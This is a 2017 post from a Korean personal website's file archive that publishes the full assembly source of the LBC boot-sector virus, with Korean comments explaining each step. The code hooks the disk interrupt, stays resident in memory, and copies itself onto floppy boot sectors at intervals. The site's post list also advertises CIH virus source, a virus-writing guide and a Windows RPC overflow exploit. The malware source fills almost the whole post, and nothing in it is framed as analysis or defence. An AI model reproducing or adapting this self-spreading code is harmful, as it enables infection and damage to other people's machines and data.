LBC 부트 바이러스 어셈블리어 소스코드 > 자료 창고

본문 바로가기
루시웹닷넷 [DX Network]
로고정보
사이트 내 전체검색


회원로그인

패밀리 사이트

구글 커스텀 검색

주요 콘텐츠

접속자 정보

  • < 방문자의 접속 지역 >
  • 미국
    34.239.x.y

서버시간 (KST)

  • 2024/06/13
    11:12:46 AM
  • (음력 2024/05/08)
자료 창고

LBC 부트 바이러스 어셈블리어 소스코드

페이지 정보

[프로필 사진]

작성자 : 루시 쪽지보내기 작성글 보기 (21)

조회수 : 3,343

작성일 : 2017-05-15 20:43:54

레벨 : 18 | 경험치 : 28% | 출석일수 : 301일

0.0.x.y

본문

CODE SEGMENT
ASSUME CS:CODE, DS:CODE

ORG 100h
START: CLI ; 인터럽트 마스크
JMP SHORT MAIN
NOP

DW 1234h ;사용하지 않는 부분
LBC_MARK DW 6845h ; 데이타 영역 (바이러스 식별자)

MAIN: XOR AX, AX ; 프로그램시작 & 프로그램 초기화
MOV DS, AX
MOV SS, AX
MOV SP, 0FFF0h
STI ; 인터럽트 플래그 세트

MOV BX, 0413h ; 메모리 크기 검사
MOV AX, [BX]
DEC AX
DEC AX ; 메모리 크기 감소 (2 KB)
MOV [BX], AX

MOV CL, 06h ; 옮길 곳의 세그먼트 계산
SHL AX, CL
MOV ES, AX

MOV SI, 7C00h ; 자신의 오프셋
MOV DI, 0100h ; 옮길 곳의 오프셋
MOV CX, 0200h
CLD
REPZ MOVSB ; 프로그램 상주
PUSH ES ; 상주된 바이러스 프로그램으로 점프
MOV AX, OFFSET CHANGE_INT13
PUSH AX
RETF


CHANGE_INT13: MOV BX, 004Ch ; 인터럽트 벡터 변

MOV CX, [BX] ; 원래의 INT 13h의 오프셋
MOV DX, [BX + 02h] ; 원래의 INT 13h의 세그먼트
MOV AX, OFFSET NEW_INT13 ; 새로운 INT 13h의 오프셋
MOV [BX], AX
MOV AX, CS ; 새로운 INT 13h의 세그먼트
MOV [BX + 02], AX
MOV DS, AX
MOV WORD PTR OLD_INT13O, CX ; 원래 INT 13h의 오프셋 저장
MOV WORD PTR OLD_INT13S, DX ; 원래 INT 13h의 세그먼트 저



; 원래의 부트 스트랩 로더 읽기
MOV BYTE PTR FUNC_NUM, 02h ; INT 13h의 파라미터 설정
MOV BYTE PTR BOOT_DRIVE, 00h
MOV WORD PTR TRACK_SECTOR, 0003h
MOV BYTE PTR BOOT_HEAD, 01h

XOR AX, AX ; 원래의 로더의 세그먼트
PUSH AX
MOV ES, AX ; INT 13h를 위한 버퍼 세그먼트
MOV AX, 7C00h ; 원래 로더의 오프셋
PUSH AX
MOV WORD PTR BUFFERS, AX ; INT 13h를 위한 버퍼 오프셋

CALL INT_13H
JNB NO_ROM_BASIC
INT 18h ; 디스켓을 읽을 수 없을 경우
; ROM BASIC 작동

NO_ROM_BASIC: RETF ; 원래의 로더를 읽은 경우 그곳으로 점



OLD_INT13O DW 0EC59h ; 원래 INT 13h의 오프셋
OLD_INT13S DW 0F000h ; 원래 INT 13h의 세그먼트
INTERVAL DB 05h ; 감염 간격 (매 5회 마다 감염)
FUNC_NUM DB 03h ; 기능 코드 (2 = 읽기, 3 = 쓰기)
BOOT_DRIVE DB 00h ; 드라이브 번호
BOOT_HEAD DB 00h ; 헤드 번호
TRACK_SECTOR DW 0001h ; 트랙과 섹터 번호
BUFFERS DW 0100h ; 버퍼의 오프셋


NEW_INT13: STI ; 인터럽트 플래그 SET
CMP AH, 02h ; 디스크 읽기 검사
JNZ NO_INFECT2

CMP DL, 01h ; A 또는 B 드라이브인가 검사
JG NO_INFECT2

DEC BYTE PTR CS:INTERVAL ; 감염 간격 검사
JNZ NO_INFECT2

MOV BYTE PTR CS:INTERVAL, 05h ; 감염 간격 초기화

PUSH AX ; 레지스터 대피
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS

PUSH CS ; 데이타 세그먼트 조정
POP DS


; 현재 사용중인 디스켓의 부트 섹터 읽기
MOV BYTE PTR BOOT_DRIVE, DL ; INT 13h를 위한 파라미터 설

MOV BYTE PTR BOOT_HEAD, 00h
MOV WORD PTR TRACK_SECTOR, 0001h
MOV WORD PTR BUFFERS, 0400h
MOV BYTE PTR FUNC_NUM, 02h

CALL ES_SETING ; ES 조정 후 원래의 INT 13h 실행
JB NO_INFECT1 ; 일기 에러일때는 포기

; 이미 감염된 디스켓인가 검사
MOV AX, LBC_MARK ; 바이러스 식별자 검사
MOV BX, OFFSET LBC_MARK + 300h
CMP AX, [BX]
JNZ INFECT ; 감염되지 않은 디스켓이면 감염
JMP SHORT NO_INFECT1 ; 감염된 디스켓이면 재 감염 포기
NOP


; 현재 사용중인 디스켓 감염
; 원래의 부트스트랩 로더 프로그램을 논리 섹터 11에 쓰기
INFECT: MOV BYTE PTR FUNC_NUM, 03h ; INT 13h를 위한 파라
미터(쓰기)
MOV BYTE PTR BOOT_HEAD, 01h ; 논리 섹터 10
MOV WORD PTR TRACK_SECTOR, 0003h
CALL ES_SETING ; ES 조정 후 원래의 INT 13h 실행
JB NO_INFECT1 ; 쓰기 에러인 경우 감염 포기


; 바이러스 로더 프로그램 (LBC)를 부트 섹터에 쓰기
MOV BYTE PTR BOOT_HEAD, 00h
MOV WORD PTR TRACK_SECTOR, 0001h
MOV WORD PTR BUFFERS, 0100h
CALL ES_SETING ; ES 조정 후 원래의 INT 13h 실행


NO_INFECT1: POP DS ; 레지스터 복구
POP ES
POP DX
POP CX
POP BX
POP AX


NO_INFECT2: JMP DWORD PTR CS:[OLD_INT13O] ; 원래의 INT 13h로 점프

ES_SETING: PUSH CS ; ES 레지스터 조정
POP ES
INT_13H: MOV CX, 0004h ; 재시도 횟수 설정

RETRY: PUSH CX ; 재시도 횟수 저장

; INT 13h의 파라미터 설정
MOV AH, FUNC_NUM ; 기능 코드
MOV AL, 01h ; 섹터 수
MOV BX, BUFFERS ; 버퍼 오프셋
MOV CX, TRACK_SECTOR ; 트랙과 섹터 번호
MOV DH, BOOT_HEAD ; 헤드 번호
MOV DL, BOOT_DRIVE ; 드라이브 번호

PUSHF ; 인터럽트 리턴을 위한 스택 조정
CALL DWORD PTR [OLD_INT13O] ; 원래의 INT 13h 호출
JNB NO_ERROR ; 에러 검사

MOV AH, 00h ; 에러 발생시 디스크 리세트
PUSHF ; 인터럽트 리턴을 위한 스택 조정
CALL DWORD PTR [OLD_INT13O] ; 원래의 INT 13h 호출

POP CX ; 재시도 횟수 복구
LOOP RETRY ; 재시도

STC ; 에러 선언을 위한 캐리 세트
JMP SHORT RETURN

NOP

NO_ERROR: POP CX ; 스택 조정

RETURN: RET ; 상주된 바이러스 프로그램으로 복귀


DB ‘ virse program messge Njh to Lbc ‘
DB 166 DUP (00h)

CODE ENDS
END START

댓글목록

등록된 댓글이 없습니다.

자료 창고 목록

Total 176건 6 페이지
자료 창고 목록
번호 제목 글쓴이 날짜 조회
26 MIDI 파일 분석자료 텍스트 (프로그래밍 참조용) 루시 쪽지보내기 작성글 보기 2017.05 1668
25 Sony Video SLV-ED22 SLV-ED55 SLV-ED88 SLV-ED99 Service Manua… 루시 쪽지보내기 작성글 보기 2017.05 1783
24 잦죽 도구 (시스템 통제 유틸) 루시 쪽지보내기 작성글 보기 2017.05 1816
23 HanIRC 웹 대화방 프로그램 (ActiveX) 루시 쪽지보내기 작성글 보기 2017.05 2194
22 엽기 고양이마리오 게임 루시 쪽지보내기 작성글 보기 2017.05 2283
21 고해상도 bmp 하늘 배경 루시 쪽지보내기 작성글 보기 2017.05 2106
20 Fake Del 루시 쪽지보내기 작성글 보기 2017.05 2222
19 돈먹기 게임..(윈도우용) 루시 쪽지보내기 작성글 보기 2017.05 2311
18 TCPVIEW (tcp 연결 표시 유틸리티) 루시 쪽지보내기 작성글 보기 2017.05 2447
17 NetBrute Scanner 1.0.0.9 (네트워크 포트스캔 기능 있음) 루시 쪽지보내기 작성글 보기 2017.05 2715
16 Teleport Pro 1.50 루시 쪽지보내기 작성글 보기 2017.05 3095
열람중 LBC 부트 바이러스 어셈블리어 소스코드 루시 쪽지보내기 작성글 보기 2017.05 3344
14 한때 유명했던 CIH 바이러스 어셈블 소스코드 루시 쪽지보내기 작성글 보기 2017.05 2243
13 컴퓨터 바이러스 제작 (완전초보용) 문서파일 루시 쪽지보내기 작성글 보기 2017.05 2135
12 주민등록번호를 만들어내는 규칙에 대해서 설명과 참고용 소스 루시 쪽지보내기 작성글 보기 2017.05 2111
11 핑퐁 바이러스 베이직 소스코드 PingPong 루시 쪽지보내기 작성글 보기 2017.05 2761
10 (보안자료) Windows NT계열 RPC Buffer Overflow 공격코드 루시 쪽지보내기 작성글 보기 2017.05 2429
9 C# 응용 프로그램의 중복 실행 방지하기 코드 예제 루시 쪽지보내기 작성글 보기 2017.05 4072
8 MacOS 용 Windows Media Player 누리 쪽지보내기 작성글 보기 2017.05 3227
7 MS-DOS 6 소스코드 루시 쪽지보내기 작성글 보기 2017.05 2701
6 자작 워크2맵 2가지.. 루시 쪽지보내기 작성글 보기 2017.05 2752
5 DOS Game Wolfenstein 3D source code 루시 쪽지보내기 작성글 보기 2017.05 2793
4 중국의 쥐가 치킨으로 둔갑 (스크랩 자료) 루시 쪽지보내기 작성글 보기 2017.05 2874
3 Kutar Mini games 루시 쪽지보내기 작성글 보기 2017.05 2569
2 게임...Return To Castle Wolfenstein 메뉴얼 PDF 루시 쪽지보내기 작성글 보기 2017.05 2018
1 Diablo Hellfire 한글 메뉴얼 (HWP파일) 루시 쪽지보내기 작성글 보기 2017.05 2287
게시물 검색

접속자집계

오늘
151
어제
315
최대
1,211
전체
543,500
Contact and information

사이트 소개 개인정보처리방침 서비스이용약관 사이트맵

Copyright © 닻별 네트웍스 (DX Network) All rights reserved.

주요 보유 도메인 현황

lucyweb.net

lucyweb.kr

darkfusion.or.kr

4chawon.net

nemocity.net

datbyeol.com

datbyeol.net

dxn.kr

dxnw.kr

lucyweb.net/special/psychopath/

ghostwho.net

ghostwho.kr